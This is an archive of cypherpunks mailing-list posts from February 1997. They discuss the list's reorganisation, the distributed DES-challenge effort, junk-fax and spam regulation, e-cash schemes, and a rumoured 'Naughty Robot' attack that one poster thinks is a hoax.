I saw a reference to an FAQ by Adam Back, explaining the mailing lists
that are being set up to replace cypherpunks@toad.com, but I didn't see
the FAQ itself, on either cypherpunks-unedited or cypherpunks@toad.com, which 
I read as mail.cypherpunks. Maybe it fell through the cracks. Could Adam
or somebody else repost it? Thanks.

Btw, one of our many news servers has alt.cypherpunks, but it has very
low traffic. I doubt people are not posting. Must be alt.cypherpunks
missing from some upstream sites.

--
Anil Das





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <mpd@netcom.com>
Date: Sat, 15 Feb 1997 23:03:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Where is the reorg FAQ?
Message-ID: <199702160703.XAA27891@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Anil Das writes:

> Btw, one of our many news servers has alt.cypherpunks, but it has very
> low traffic. I doubt people are not posting. Must be alt.cypherpunks
> missing from some upstream sites.

To spam propagation islands, it might be a good idea to crosspost to
alt.privacy when posting to alt.cypherpunks.  It will probably take a week
or two before everyone who is going to create the group on their news
server gets around to it. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Sat, 15 Feb 1997 22:41:12 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: More on digital postage
Message-ID: <199702160641.WAA26908@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Mr. May wrote: 
> At 11:40 AM -0600 2/15/97, snow wrote:
> >Mr. Bell wrote:
> >> However, you connect that fax machine to a phone line, when you know full
> >> well that should it be enabled to do so, it will automatically pick up the
> >> phone when it "hears" a ring, and will print out a fax based on information
> >> provided.  It isn't clear why sending a fax is any "wronger" than mailing
> >> junk mail, or making a (voice) phone call to somebody.
> >	That is a ridiculous argument. The door to my home is connected
> >to the street,m and I know full well that that makes it easy for anyone
> >to come wandering in to my home. Is it legal, just because I have my
> >home hooked to the street, for someone to come in and help themselves to
> >a beer out of my fridge?
> 
> The proper parallel is to _knocking on the door_. Talking about "unwanted
> phone calls" or "unwanted faxes" as being equivalent to entering a house
> and wandering around is incorrect.

	With phone calls, yes. With unwanted faxes no. With Phone Calls, 
and knocks on the door I have the option of simply not answering. Faxes
(in certain enviroments) you can't do that with. 

> Our society fairly reasonably allows tort relief for, say, having one's
> doorbell rung frequently or at odd hours. On the fax issue, similar tort
> relief could be obtained if a person or business was truly "under attack."
> (Purists, like me, would probably prefer technological solutions even in
> these cases. Leave a phone on answering machine mode, only switch on the
> fax mode when a fax is expected, etc.)

	Or simply a societal acceptance of retaliation(sp?) Someone who
constantly wakes you up in the middle of the night, well you just arrange
it so they get no sleep. 

> These tort actions are a far cry from proposals that anyone whose knock on
> the door, or phonecall, or e-mail, or fax is subject to criminal
> prosecution under proposed new laws.
> (I think the courts are already clogged enough, and I have faith that no
> court in the land will accept a case where no real harm was done. A friend
> of mine got mailbombed with 25,000 e-mail messages in one day, shutting
> down his account until the mess could be cleaned up, and it's not even
> likely he'll ever get any relief.)

	I (I think like you) feel that almost no one will get convicted
of these "crimes" unless the attacker simply goes too far. 

> What CompuServe did was quite different, as CompuServe decided that some
> e-mail would not be delivered. This is essentially comparable to the Postal
> Service deciding that mail from the National Rifle Association is, to them,
> "junk," or to the phone company deciding that phone calls from Libya or
> Iraq or some other unfavored nation will be fed to a dead number.

	Not really. The US Postal service is a regulated monopoly, and 
is the only game in town. If they weren't a regulated monopoly, I wouldn't
care if they refused to carry certain peices of mail, the mailer would have 
the option of simply using a different service.

	Thus with compuserve, they have the right (as a private company)
to refuse to deliver what ever they wish. And their users have the right 
to go elsewhere. 

> Getting the courts and the regulators involved in deciding what speech is
> junk and what is not junk is unconstitutional, which was my earlier point.

	Which I argee with.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Ioannidis <ji@hol.gr>
Date: Sat, 15 Feb 1997 13:41:02 -0800 (PST)
To: pgut001@cs.auckland.ac.nz
Subject: Re: DES and RSA crypto hardware from the free world
Message-ID: <199702152141.NAA06901@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I believe uti-Maco (a belgian company) has been using the Pijnenburg chips
for their boards. However, last I checked with them (about half a year ago)
the price of the boards was pretty steep -- of the order of $1K. 

Anyway, if the boards Peter is referring to are ready in the next couple 
of months, I volunteer to write drivers for Linux and *BSD*.

/ji





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Grant <mark@unicorn.com>
Date: Sat, 15 Feb 1997 17:11:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: anonymity and e-cash
Message-ID: <199702160111.RAA14436@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 12 Feb 1997, Hal Finney wrote:

> A simple idea we have discussed for full anonymity uses the idea of
> exchanging coins at the bank.  You make an anonymous connection to
> the bank, supply some ecash you have received along with some blinded
> new ecash.  The bank verifies that the ecash is good and signs your
> blinded ecash, sending it back to you.  You unblind it and have good,
> fresh smelling ecash which you can keep, spend, or later deposit in
> your account.

Isn't this the way that 'Magic Money' works? You don't have to open an
account at the bank, you simply exchange the cash you receive for new cash
which you can then spend.

	Mark

|-----------------------------------------------------------------------|
|Mark Grant M.A., U.L.C.	  	       EMAIL: mark@unicorn.com  |
|WWW: http://www.unicorn.com/	  	       MAILBOT: bot@unicorn.com	|
|-----------------------------------------------------------------------|






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 15 Feb 1997 17:11:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: (fwd) DES challenge organisation
Message-ID: <199702160111.RAA14514@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



An announcement forwarded to me (due to being on des-challenge mailing
list I think) of proposed organisation for breaking RSADSI's DES
challenge.

Those interested in participating might wish to join the lists
mentioned.

In addition the list: des-challenge@muffin.org is for discussion of
the DES challenge, and can be subscribed to by sending email to
majordomo@muffin.org.

-Adam

======================================================================
Subject: Announcement: Organisation Committee
From: ths@rz.tu-ilmenau.de (Thomas S.)
Date: 15 Feb 1997 18:27:40 +0000

Hi!

The six volunteers who answered the call for a committee of
management have got together to try to help 'steer' the DES challenge.
We have considered the available options of proceeding, and we kindly
ask everyone interested in this project to follow our proposals, to
avoid waste of efforts.

1. The attempt to break the key will be coordinated. We chose this
   mainly because we can make a political statement. We don't want it
   to be a race for money.
   
   Each task will be handled by logically separate servers, some of
   which with be replicated and run as a hierachy. The protocol will
   use UDP, although there will be gateway servers for other protocols
   (such as HTTP, SMTP, FAX, etc). We hope that one of the first
   requests for a key range will be from parties interested in using a
   "random" approach -- we would appreciate some discussion on how
   large their ranges should be.

2. There will be one consistent WWW structure for the project. It does
   not have to managed by a single person. This structure should
   provide statistics, information for developers, interested users
   and perhaps even for the press. Several mirrors and translations
   will be started soon. The starting point is:
	http://www.des.crypto.org/ [fh28.fa.umist.ac.uk/des/]
   The url in brackets has to be used till we get the final subdomain.
   Likewise for the rest of this document.

3. The work of the different groups should be stated and coordinated
   on the page http://www.des.crypto.org/people.html.
   [fh28.fa.umist.ac.uk/des/people.html] This is to avoid uncoordinated
   parallel developmemt. Please write to Thomas S. 
   <webmaster@mail.des.crypto.org> [webmaster@fh28.fa.umist.ac.uk] 
   if you what want to be mentioned on this page. 

3a. Several mailing lists have been set up for the different groups: 

des-coding	for the actual DES routine and optimisation
des-networking	for the network code and protocol
des-www		for www contributions and mirrors
des-pr		for press contact, translations etc (like challenge-pr)
des-misc	:-)
des-announce	moderated, important information for users of the client

List address: <list>@lists.des.crypto.org [@xtn.net] 
To subscribe, send mail to majordomo@lists.des.crypto.org [@xtn.net] 
with in the body of the message (several actions allowed): 
   subscribe <list> 
Achives available (see homepage).

4. The actual DES routine has to be written and optimised. We ask
   developers to participate and coordinate their efforts using the
   mailing list des-coding. For obvious reasons, developers outside
   the USA are prefered, but "publication" of algorithms seems to be
   a legal way go get around. Please do not use this list to 
   distribute crypto code.

5. The prize money will be split equally between Gutenberg and EFF.
   There is a possibility of using part of it for stickers or
   something similar, but don't count on it.

We hope to get a working system up and running ASAP. The fact alone
that DES is seriously challenged (with a reasonable time frame) should
give us quite some publicity (by the time the system is ready). If we
can make use of that, we will have significantly more client than for
the 48 bit key.

The organisation committee:

Piete Brooks <Piete.Brooks@cl.cam.ac.uk>
Jered Floyd <jered@mit.edu>
Tim Newsome <drz@froody.bloke.com>
Germano Caronni <caronni@tik.ee.ethz.ch>
Thomas Roessler <Thomas.Roessler@sobolev.rhein.de>
Thomas S. <ths@fh28.fa.umist.ac.uk>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 15 Feb 1997 17:13:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: (fwd) DES challenge organisation
Message-ID: <199702160113.RAA14570@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Thomas S <ths@fh28.fa.umist.ac.uk> writes:
> [...]
>
> 5. The prize money will be split equally between Gutenberg and EFF.
>    There is a possibility of using part of it for stickers or
>    something similar, but don't count on it.

Not a good idea.

How can this be enforced?  The RSADSI DES challenge is open to all
comers, and how do you prove that someone who finds the key found it
through this group effort?

I have a suspicion many people would be tempted to fill in the RSA
challenge form and email it in themselves.  $10,000 is a fair amount
of money.

I know I would be tempted.  I have been running Svend Olaf's DES code,
and my intention in the unlikely event that I hit the key had been to
claim the money.

How does it hurt the publicity if the actual individual who finds the
key takes the money?  Surely it adds excitement to the story?

In fact it would provide people with a possibly more powerful
incentive to try to break the key in the first place -- in the hopes
of winning the prize!  $10,000 means more to a lot of people than
opposing ITAR/EAR, and participating in a technical challenge.  To
start with a lot of people who's CPUs we could be using don't even
know what ITAR/EAR are!

> We hope to get a working system up and running ASAP. The fact alone
> that DES is seriously challenged (with a reasonable time frame)
> should give us quite some publicity (by the time the system is
> ready). If we can make use of that, we will have significantly more
> client than for the 48 bit key.

I would have thought announcing that $10,000 can be won by running
easy to use windows software on a wide selection of newsgroups would
get you lots of CPUs!

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Sat, 15 Feb 1997 22:56:07 -0800 (PST)
To: Mike Duvos <mpd@netcom.com>
Subject: Re: Where is the reorg FAQ?
Message-ID: <199702160656.WAA27544@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Mike Duvos wrote:
> 
> Anil Das writes:
> 
> > Btw, one of our many news servers has alt.cypherpunks, but it has very
> > low traffic. I doubt people are not posting. Must be alt.cypherpunks
> > missing from some upstream sites.
> 
> To spam propagation islands, it might be a good idea to crosspost to
> alt.privacy when posting to alt.cypherpunks.  It will probably take a week
> or two before everyone who is going to create the group on their news
> server gets around to it. 
> 

Better yet, crosspost to misc.misc.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Sun, 16 Feb 1997 07:11:04 -0800 (PST)
To: "Cynthia H. Brown" <cynthb@sonetis.com>
Subject: Re: More on digital postage
Message-ID: <199702161511.HAA17755@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 1:09 AM -0500 2/16/97, Cynthia H. Brown wrote:

>Here in Canada, the CRTC (Canadian Radio & Telecomms Commission) put
>out rules limiting the time of day, etc. for phone spam (voice or
>fax).  Does anyone out there have the specifics of the CRTC regs?

"Spam" has rapidly become one of those overused, overloaded, meaningless
words. Everything bad on the Net these days is labelled "spam."

For the phone example in Canada, just what is "spam"?

-- Is it the semi-traditional definition of "spam," i.e., a phone call made
to thousands of sites? (At the same time? Sequentially? How?)

-- Is it a robo-dialer, with no human at the other end?

-- Or is it merely an "unwanted phone call"?


As I see it, the danger of criminalizing "unwanted phone calls" is obvious.
(Though obviously the courts and prisons are not about to be filled up with
people who committed the heinous crime of making an unrequested phone call.)

The danger of all "junk mail" and "junk phone call" laws is that they give
power to the government to decide on what is junk and what is not.

Not something we should support.

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: omegam@cmq.com
Date: Sat, 15 Feb 1997 22:56:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: More on digital postage
Message-ID: <199702160656.WAA27618@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Peter J. Capelli writes:

 >  I pay for my phone service;

I assume you pay a flat rate and not by the incoming fax!

 >  I pay for my fax, toner, and
 > paper.  If they use my property without getting permission first, 

So, if a person uses a computer fax-modem and, therefore, paper,
toner, etc. aren't used, does this change the situation?  

Suddenly we're very close to the situation of junk-email.  (Except
that the sender of the junk fax incurs long-distance charges, if there
are any, not to mention he pays for the phone service the same as you 
do)

 > I believe
 > that *is* ( or should be ) illegal.  

"There should be a law!"  5 of the ugliest words in the English
language when put together.

Look.  I understand your sentiment and junk faxes piss me off as well,
but the cost of government regulation is too high in my opinion.  As
I'm sure you're aware, government does a *great* job of creating
sensible and useful regulations.

Unfortunately, fax machines can't distinguish the text of messages, so
you can't do filtering or bounce messages, etc.  (Although I have been
known to send a nasty reply fax or two.  And I never fail to call the
send of the fax to complain and have the junk faxes terminated)


 > Your argument that my plugging a fax 
 > machine itno a phone line I know it will answer, even if it is unauthorized,
 > is tantamount to saying that if I leave my keys in my car, anyone can take
 > it, and legally so!  While it may be foolish to do that, being
 > foolish is not
 > a crime 

You purchased the fax equipment.  Why should the government regulate
its usage for you?  

Ideally, the manufacture of fax machines which are able to
authenticate a sender in some manner before permitting the actually
permitting transmission of the fax out to paper would likely eliminate
junk faxes.

Of course, this would involve strong encryption.  And -- wouldn't you
know it! -- that's covered by a range of confusing and threatening
federal regulations



-- 
---------------------------------------------------------------------
Omegaman <mailto:omegam@cmq.com>|"When they kick out your front door,
   PGP Key fingerprint =        | How are you gonna come? 
   6D 31 C3 00 77 8C D1 C2      | With your hands upon your head,   
   59 0A 01 E3 AF 81 94 63      | Or on the trigger of your gun?" 
Send email with "get key" as the| -- The Clash, "Guns of Brixton"
"Subject:" to get my public key |   _London_Calling_ , 1979
---------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Sat, 15 Feb 1997 22:58:04 -0800 (PST)
To: dthorn@gte.net
Subject: Re: More on digital postage
Message-ID: <199702160658.WAA27705@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 15 Feb 1997 Dale Thorn wrote:

> jim bell wrote:
>
> > But having an address, and a walkway, and a doorbell is generally considered
> > if not explicit permission, but at least toleration of the idea that
> > somebody can walk up and knock on the door, etc.  Having a telephone with a
> > number that anyone can dial is going to result in some level of intrusion.
> > Having a fax machine is a similar issue, unless technology provides a way to
> > block unwanted faxes.
> 
> There are some neato methods to deal with the door and the phone,
> but I haven't investigated faxes since I don't run one at home.

Boring but it works: There are plenty of fax-to-PC programs out
there.  Anyone can save *lots* of trees by viewing faxes on the
screen before printing the useful page(s).  Yes, I know, this means
human intervention, but so does crumpling up the ***BUY NOW***
garbage, tossing it at the recycle bin, missing, cursing, etc.

Here in Canada, the CRTC (Canadian Radio & Telecomms Commission) put
out rules limiting the time of day, etc. for phone spam (voice or
fax).  Does anyone out there have the specifics of the CRTC regs? 

Cynthia
===============================================================
                   Cynthia H. Brown, P.Eng.
E-mail: cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Sun, 16 Feb 1997 07:11:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: More on digital postage
Message-ID: <199702161511.HAA17772@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May writes:

 > "Spam" has rapidly become one of those overused, overloaded, 
 > meaningless words. Everything bad on the Net these days is labelled
 > "spam."

The term "spam" has its origins in the well-known Monty Python
Viking sketch, where a diner has breakfast menu offerings such as

          Spam, spam, spam, spam, eggs, and spam. 

This sequence of one repeated thing, with an occasional something 
else, reminds us of how our news spool looks after spam has happened. 

> For the phone example in Canada, just what is "spam"?

> -- Is it the semi-traditional definition of "spam," i.e., a phone call made
> to thousands of sites? (At the same time? Sequentially? How?)

> -- Is it a robo-dialer, with no human at the other end?

Calling one person a thousand times is certainly spam.  Calling
a thousand different people is probably "Excessive Multiple Calling",
or some such acronym. 

> -- Or is it merely an "unwanted phone call"?

This is definitely not spam. 

> As I see it, the danger of criminalizing "unwanted phone calls" is obvious.
> (Though obviously the courts and prisons are not about to be filled up with
> people who committed the heinous crime of making an unrequested phone call.)

If someone is calling me every day, and I ask them nicely to stop, 
continued calling should be illegal harrassment.  If I've never heard
from them before, then a couple unwanted calls aren't a big deal. 

The same principle should apply if someone decides they have a
Constitutional right to bang on my front door at 6 am each and every
morning.

> The danger of all "junk mail" and "junk phone call" laws is that they give
> power to the government to decide on what is junk and what is not.

> Not something we should support.

I wouldn't mind laws against "repeated unwanted communication."  That
way I decide what is and is not junk, and the perpetrator is on notice
that further waste of my time, fax paper, phone line, or mailbox
space will not be viewed benevolently. 

--
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Carol Anne Cypherpunk <carolann@censored.org>
Date: Sun, 16 Feb 1997 07:27:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: alt.cypherpunks.* groups make primenet.com
Message-ID: <199702161527.HAA18421@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Primenet.com has picked up the alt.cypherpunk feed.
And, there was spam (yum, yum) on it already.

Carol Anne Cypherpunk
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Uncensored from heavily.censored.org

iQCVAwUBMwbyForpjEWs1wBlAQEOYQP/bU7uRm5YIMgSkH9QoRLm1UzUCcJ8kxoY
okFp6cshYvn5zZf4Kp8z9eWh67ox8yN/Lsp8DzFRkS9xrmobX/5givMut304rN5+
p213AzjaEOhfaat5w4AWUPU1xAIkTnI0jqN4vslKQ0Y77fyrzRgwtCCvsw2VzCfv
hPSSApmGuys=
=mlts
-----END PGP SIGNATURE-----

Member Internet Society  - Certified BETSI Programmer  -  Webmistress
***********************************************************************
Carol Anne Braddock (cab8)  carolann@censored.org   206.42.112.96
My Homepage
The Cyberdoc
***********************************************************************






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter D. Junger" <junger@upaya.multiverse.com>
Date: Sun, 16 Feb 1997 07:26:05 -0800 (PST)
To: Peter Gutmann <pgut001@cs.auckland.ac.nz>
Subject: Re: Crypto code published in magazines
Message-ID: <199702161526.HAA18365@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Peter Gutmann writes:

: I'm trying to find instances of crypto code published in computer magazines i
: n 
: the last few years.  I know of Blowfish in DDJ, are there cases of more 
: mainstream computer mags like Byte publishing crypto code (I know Byte did DE
: S 
: in 1977, I'm hoping for something a bit more recent)?.  Please mail or cc 
: replies directly to me, nntp.hks.net seems to have died :-(.
:  
: Peter.

If there are any responses I would be very interested in seeing them
too.

Thanks,
Peter
--
Peter D. Junger--Case Western Reserve University Law School--Cleveland, OH
 EMAIL: junger@samsara.law.cwru.edu    URL:  http://samsara.law.cwru.edu   
     NOTE: junger@pdj2-ra.f-remote.cwru.edu no longer exists





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marc Briceno <marc@digicash.com>
Date: Sun, 16 Feb 1997 14:41:08 -0800 (PST)
To: cryptography@c2.net
Subject: Printed Ecash decoder now available
Message-ID: <199702162241.OAA04877@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Ian Goldberg <iang@cs.berkeley.edu> won the second part of the "turn Ecash
into 2-D bar code and back into an Ecash payment" contest. Building on
Jeremey Barrett's Ecash -> PDF417 encoder, Ian wrote an Ecash PDF417
encoder and decoder.

http://www.isaac.cs.berkeley.edu/tools/pdf417-1.0.tar.gz

It is now possible to print Ecash on a laser printer and scan it back in on
a standard flat bed scanner. Possible applications include sending Ecash by
fax or mail.

Ian notes the following:
"Also: these are general PDF417 tools; they can be used to encode any
binary data, not just ecash (the decoder will _not_ be able to decode
arbitrary barcodes; it doesn't know about "numeric compaction" mode
and other things in the spec that the encoder doesn't actually use)."

Congratulations to Ian for this accomplishment!



-- Marc Briceno <mailto:marc@digicash.com>
   Ecash(tm) Electronic Cash Evangelist/Developers Support
   <http://www.digicash.com/>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@ALPH.SWOSU.EDU>
Date: Sun, 16 Feb 1997 14:43:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
Message-ID: <199702162243.OAA05066@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:45 PM 2/15/97 -0600, Igor Chudov wrote:
>Roy M. Silvernail wrote:
...
>> Or that the money wasn't there in the first place (absent a trusted
>> signature system), or the key doesn't exist, or the wrong key is
>> offered, or the sender put the same e-dollar on all 60000 mails sie
>> sent and it's already been redeemed.
>
>Well, if the trusted party performs the encryption by both recipient's
>public key and the "retrieval key", the problem that you mention can 
>be avoided.
Yeah.  I as a spam artist send the "proof" message through the e-cash
verification center with the Send To: field returning it to a mail exploder.
Each receipient gets the same dollar.
This assumes that the To: field is not hashed into the verification
signature, and that the verification works like a glorified remailer.  (cash
added on a separate channel).






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Paul J. Bell" <pjb@23kgroup.com>
Date: Sun, 16 Feb 1997 09:56:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: DFA
Message-ID: <199702161756.JAA24257@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


does anyone know what has happened to DFA, and the people who
just a few months ago were publishing such encouraging results?

have they gone underground, or perhaps been put underground, 
in a rather permanent way?

isn't it strange how quite it has been on this subject?

cheers,
	-paul





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Genocide <gen2600@aracnet.com>
Date: Sun, 16 Feb 1997 14:41:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Questions about Naughty Robot (fwd)
Message-ID: <199702162241.OAA04951@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



	I got this message (on a system that I am webmaster on) regarding
something that sounded so stupid it made me chuckle...Naughty Robot...I
have enclosed the message below.  If any of you have any idea what this
user is talking about, any info would be appreciated.

	Personally it sounds like another "GoodTimes Virus" again...

Genocide
Head of the Genocide2600 Group


============================================================================
		   **Coming soon! www.Genocide2600.com!
         ____________________
  *---===|                  |===---*
  *---===|     Genocide     |===---*  "Courage is not defined by those who 
  *---===|       2600       |===---*   fought and did not fall, but by those
  *---===|__________________|===---*   who fought, fell, and and rose again."
                                       
Email:  gen2600@aracnet.com	Web:  http://www.aracnet.com/~gen2600

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
	It is by caffeine alone that I set my mind in motion.
	It is by the Mountain Dew that the thoughts acquire speed,
	the lips acquire stains, the stains become a warning.
	It is by caffeine alone that I set my mind in motion.
================================================================================

Date: Sun, 16 Feb 1997 10:30:37 -0800 (PST)
Subject: Re: Questions about Naughty Robot
Resent-Date: Sun, 16 Feb 1997 12:10:54 -0800 (PST)


>> Don't wanna bug ya too much, but I was wondering if you have ever heard
>> of Naughty Robot, and whether or not if it is a hoax or Real?
>> 
>> I had a customer in Tennesee who got an E-Mail saying that Naughty Robot
>> has infected your host computer and consider all your credit cards
>> stolen.
>> 
>> I think it's a hoax, but the Admins at VR-NET Cafe say that they have
>> been hit with it and say that it's a script that does hack into the
>> IPS's server and sits back and watches the users browse the web and take
>> the info they see on there screen and dump to some remote server??
>> 
>> I was wondering if you have heard about it...and if so can you direct to
>> the right locations on the web to get the "Official" Scoop on it?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 16 Feb 1997 14:41:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: test ping - cypherpunks@toad.com 12:32pm PST - ignore
Message-ID: <199702162241.OAA04937@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi!  This is a test ping to verify whether mail to 
cypherpunks@toad.com gets forwarded successfully to 
one of the other cypherpunks lists, and how fast.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: hjk <hjk@ddorf.rhein-ruhr.de>
Date: Sun, 16 Feb 1997 07:25:57 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: MagicMoney
Message-ID: <199702161525.HAA18339@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



I finally got a copy of MagicMoney (from ftp://utopia.hacktic.nl).
It is just the code (compiling without error), but there is no README or
documentation at all.Can someone give me a hint,what to do with this
package? Is there a documentation somesite?
BTW utopia is the site,you can get all the export restricted stuff outside
the US.

Heinz-Juergen Keller
email: hjk@ddorf.rhein-ruhr.de







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 16 Feb 1997 14:56:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: Bad Headers Added to John Young postings via owner-cypherpunks@sirius.infonex.com
Message-ID: <199702162256.OAA05745@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi!  The following headers are from a posting by John Young
that looks like it was sent to cypherpunks@toad.com,
forwarded to cypherpunks@sirius.infonex.com and/or
cypherpunks@cyberpass.net, and has the Reply-To: header
set to reply to cypherpunks@toad.com instead of to John Young....
It looks like the obvious implementation of cypherpunks-style mail header
patching, but isn't quite right.....  Leads to people sending
their John Young mailbot requests to cypherpunks@toad.com instead,
as some well-known cypherpunks have mistakenly done recently :-)

=====================================================
Return-Path: <owner-cypherpunks@sirius.infonex.com>
X-Sender: jya@pop.pipeline.com
Date: Sat, 15 Feb 1997 09:04:14 -0500
To: cypherpunks@toad.com
From: John Young <jya@pipeline.com>
Subject: FBI_100
Sender: owner-cypherpunks@sirius.infonex.com
Reply-To: cypherpunks@toad.com
X-List: cypherpunks@cyberpass.net

2-15-97. NYP:

"Phone Companies Balk At Latest Plan by FBI." Markoff.
==============================================



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Sun, 16 Feb 1997 14:56:01 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702162256.OAA05725@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin writes:
> Dave is offering a single mailing list, which, while I am sure Dave is
> a great person, still represents a single point of control and a
> single point of failure.  A distributed mailing list has a potential
> for being much more robust, and for supporting a wide range of
> viewpoints.  

I can also offer my participation in the distributed mailing list, if
that is what it takes to get cypherpunks free of control interests again.
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

                      A poor man shames us all.









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Sun, 16 Feb 1997 14:43:17 -0800 (PST)
To: Cypherpunks <cypherpunks@algebra.com
Subject: Thanks to John Gilmore for running cypherpunks mailing list
Message-ID: <199702162243.OAA05112@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi,

cypherpunks@toad.com goes down in four days.

I would like to thank John Gilmore for all his efforts that he spent to
run the list. Administering a huge mailing list like cypherpunks is a
tough job, requiring a lot of dedication, time and patience.

John, along with other cypherpunks, created a unique online community
that generated many valuable ideas. This community helped a great deal
to increase crypto awareness of the masses. I personally joined
cypherpunks for very arkane reasons, but later found out a lot of useful
information.

The moderation experiment failed by many reasons, but the last month
should not distract us from what John did over last several years.

Again, thanks to John for his work.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Sun, 16 Feb 1997 14:41:45 -0800 (PST)
To: Cypherpunks <cypherpunks-hosts@algebra.com
Subject: Proposed info file
Message-ID: <199702162241.OAA04968@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi,

